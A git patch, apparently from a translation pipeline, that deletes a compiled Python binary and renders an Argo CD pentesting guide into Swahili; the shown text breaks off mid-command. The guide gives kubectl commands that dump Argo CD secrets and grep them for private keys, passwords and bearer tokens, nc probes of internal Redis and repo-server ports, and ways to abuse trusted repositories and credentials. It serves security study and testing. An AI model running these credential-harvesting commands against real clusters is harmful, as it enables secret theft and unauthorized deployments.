From aad02a98462b7dacf920c18ea7c6b79762f2c707 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 19 Jul 2026 09:25:27 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/RE --- .../__pycache__/translator.cpython-312.pyc | Bin 27040 -> 0 bytes src/pentesting-ci-cd/argocd-security.md | 159 +++++++++--------- .../az-post-exploitation/README.md | 4 + ...az-container-registry-post-exploitation.md | 87 ++++++++++ .../az-services/az-container-registry.md | 66 ++++---- 5 files changed, 206 insertions(+), 110 deletions(-) delete mode 100644 scripts/__pycache__/translator.cpython-312.pyc create mode 100644 src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md diff --git a/scripts/__pycache__/translator.cpython-312.pyc b/scripts/__pycache__/translator.cpython-312.pyc deleted file mode 100644 index 145121f393d2e75712038485aa423e27906b41c8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 27040 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 diff --git a/src/pentesting-ci-cd/argocd-security.md b/src/pentesting-ci-cd/argocd-security.md index ba66c447d..c74d83f52 100644 --- a/src/pentesting-ci-cd/argocd-security.md +++ b/src/pentesting-ci-cd/argocd-security.md @@ -1,44 +1,44 @@ -# Argo CD Security +# Usalama wa Argo CD {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Taarifa za Msingi -[Argo CD](https://argo-cd.readthedocs.io/) ni jukwaa la GitOps la continuous delivery kwa Kubernetes. Linafuatilia Git repositories, hutoa Kubernetes manifests kwa kutumia tools kama Helm, Kustomize, Jsonnet au config management plugins, na kusawazisha hali ya cluster iliyo hai na state lengwa iliyohifadhiwa kwenye Git. +[Argo CD](https://argo-cd.readthedocs.io/) ni jukwaa la GitOps continuous delivery kwa Kubernetes. Hufuatilia Git repositories, hutengeneza Kubernetes manifests kwa kutumia tools kama vile Helm, Kustomize, Jsonnet au config management plugins, na husawazisha hali halisi ya cluster na hali inayotakiwa iliyohifadhiwa kwenye Git. -Kutoka kwa mtazamo wa attacker, chukulia Argo CD kama **deployment engine yenye Kubernetes credentials**. Compromise yenye manufaa ya Argo CD inaweza kusababisha: +Kwa mtazamo wa attacker, ichukulie Argo CD kama **deployment engine yenye Kubernetes credentials**. Argo CD ikicompromise inaweza kusababisha: - Access kwa private Git repositories na repository credentials. - Access kwa Kubernetes cluster secrets zinazotumiwa na Argo CD. -- Manifest generation code execution katika `argocd-repo-server`. -- Unauthorized Kubernetes object deployment kupitia trusted Git repositories, Argo CD applications, au cache manipulation. +- Code execution ya manifest generation ndani ya `argocd-repo-server`. +- Deployment isiyoidhinishwa ya Kubernetes objects kupitia trusted Git repositories, Argo CD applications au cache manipulation. -## Architecture & Interesting Components +## Architecture na Components Muhimu -Common Kubernetes objects and services: +Kubernetes objects na services za kawaida: ```bash kubectl get pods,svc,endpoints,ingress -A | grep -iE 'argocd|argo-cd' kubectl get applications,appprojects,applicationsets -A 2>/dev/null kubectl get secrets,configmaps -n argocd 2>/dev/null kubectl get networkpolicy -n argocd 2>/dev/null ``` -Huduma za kuvutia: +Huduma muhimu: -- **`argocd-server`**: public API, web UI, CLI API, authentication and authorization. -- **`argocd-application-controller`**: inalisha desired na live state, kisha inatumia resources kwa Kubernetes. -- **`argocd-repo-server`**: ina-clone repositories, ina-cache Git data, na inaendesha Helm/Kustomize/Jsonnet/plugins kutengeneza manifests. Default gRPC port ni **8081**. -- **`argocd-redis`**: cache kwa application, manifest na Git reference data. Default Redis port ni **6379**. -- **`argocd-applicationset-controller`**: inazalisha Argo CD `Application` objects kutoka kwa generators kama Git, SCM, clusters na pull requests. +- **`argocd-server`**: API ya umma, web UI, CLI API, authentication na authorization. +- **`argocd-application-controller`**: hulinganisha hali inayotarajiwa na hali halisi, kisha hutumia resources kwenye Kubernetes. +- **`argocd-repo-server`**: hu-clone repositories, huhifadhi Git data kwenye cache, na huendesha Helm/Kustomize/Jsonnet/plugins ili kutengeneza manifests. Port ya default ya gRPC ni **8081**. +- **`argocd-redis`**: cache ya application, manifest na Git reference data. Port ya default ya Redis ni **6379**. +- **`argocd-applicationset-controller`**: hutengeneza Argo CD `Application` objects kutoka kwa generators kama Git, SCM, clusters na pull requests. -Kutoka kwenye compromised pod au internal network segment, kagua internal reachability: +Kutoka kwenye pod iliyo-compromise au internal network segment, kagua internal reachability: ```bash nc -vz 443 nc -vz 8081 nc -vz 6379 ``` -## Public API / UI Mashambulizi +## Mashambulizi ya Public API / UI -Ikiwa una Argo CD credentials au instance iliyofichuliwa, anza na normal API surface: +Ikiwa una credentials za Argo CD au instance iliyo wazi, anza na API surface ya kawaida: ```bash argocd login argocd account get-user-info @@ -51,13 +51,13 @@ argocd admin settings rbac can ``` Njia muhimu za attack: -- **Application write access**: rekebisha `source.repoURL`, `source.path`, Helm values, Kustomize options, plugin settings au sync options ili Argo CD idisploy manifests zinazodhibitiwa na attacker. -- **Project misconfiguration**: vitu vya `AppProject` vinaweza kuruhusu `sourceRepos` pana, `destinations` pana, `clusterResourceWhitelist` isiyo salama, au vizuizi dhaifu vya namespace. -- **Repository credential abuse**: repository secrets, GitHub App credentials, SSH keys na tokens zinaweza kuruhusu kusukuma kwenda trusted repos au kuongeza malicious dependencies. -- **Cluster credential abuse**: cluster secrets zinaweza kuwa na bearer tokens au exec-provider configuration zinazotumiwa na Argo CD ku-deploy kwenda target clusters. -- **Local admin / project tokens**: Argo CD tokens za muda mrefu zinaweza kutumika tena kupitia API isipokuwa zifutwe au ziishe muda wake. +- **Application write access**: badilisha `source.repoURL`, `source.path`, thamani za Helm, chaguo za Kustomize, mipangilio ya plugin au chaguo za sync ili Argo CD ideploy manifests zinazodhibitiwa na mshambuliaji. +- **Project misconfiguration**: objects za `AppProject` zinaweza kuruhusu `sourceRepos` pana, `destinations` pana, `clusterResourceWhitelist` isiyo salama au vizuizi dhaifu vya namespace. +- **Repository credential abuse**: secrets za repository, credentials za GitHub App, SSH keys na tokens zinaweza kuruhusu kusukuma mabadiliko kwenye repos zinazoaminika au kuongeza dependencies hasidi. +- **Cluster credential abuse**: secrets za cluster zinaweza kuwa na bearer tokens au usanidi wa exec-provider unaotumiwa na Argo CD kufanya deploy kwenye target clusters. +- **Local admin / project tokens**: Argo CD tokens za muda mrefu zinaweza kutumiwa tena kupitia API isipokuwa zifutwe au zi-expire. -Enumerate configuration from Kubernetes when you have cluster read access: +Enumerate usanidi kutoka Kubernetes unapokuwa na cluster read access: ```bash kubectl get applications.argoproj.io -A -o yaml kubectl get appprojects.argoproj.io -A -o yaml @@ -65,26 +65,26 @@ kubectl get applicationsets.argoproj.io -A -o yaml kubectl get secrets -n argocd -o yaml | grep -nE 'repoURL|sshPrivateKey|password|bearerToken|githubApp|tlsClientCertData|tlsClientCertKey' kubectl get cm -n argocd argocd-cm argocd-rbac-cm argocd-cmd-params-cm -o yaml ``` -## Matumizi Mabaya ya Trusted Git Repository +## Matumizi Mabaya ya Git Repository Inayoaminika -Ukipata uwezo wa push kwenye repository inayoaminika na Argo CD, kwa kawaida unaweza kuathiri kinachotumwa. Athari hutegemea mipaka ya `AppProject` na ruhusa za service account zinazotumiwa na application controller. +Ikiwa unaweza kufanya push kwenye repository inayoaminika na Argo CD, kwa kawaida unaweza kuathiri kitakachodeployiwa. Athari hutegemea mipaka ya `AppProject` na permissions za service account zinazotumiwa na application controller. -Sehemu za kawaida za kuweka payload: +Maeneo ya kawaida ya payload: - Raw Kubernetes YAML chini ya application path. - Helm chart templates na `values.yaml`. - Kustomize overlays, remote bases na generators. -- Jsonnet au config management plugin input. -- ApplicationSet generator files zinazounda au kusasisha `Application` objects. +- Jsonnet au input ya config management plugin. +- ApplicationSet generator files zinazounda au kusasisha objects za `Application`. -Angalia kama app inatumia automated sync, pruning, self-heal, sync windows au manual approvals: +Kagua ikiwa app inatumia automated sync, pruning, self-heal, sync windows au manual approvals: ```bash kubectl get applications.argoproj.io -A \ -o 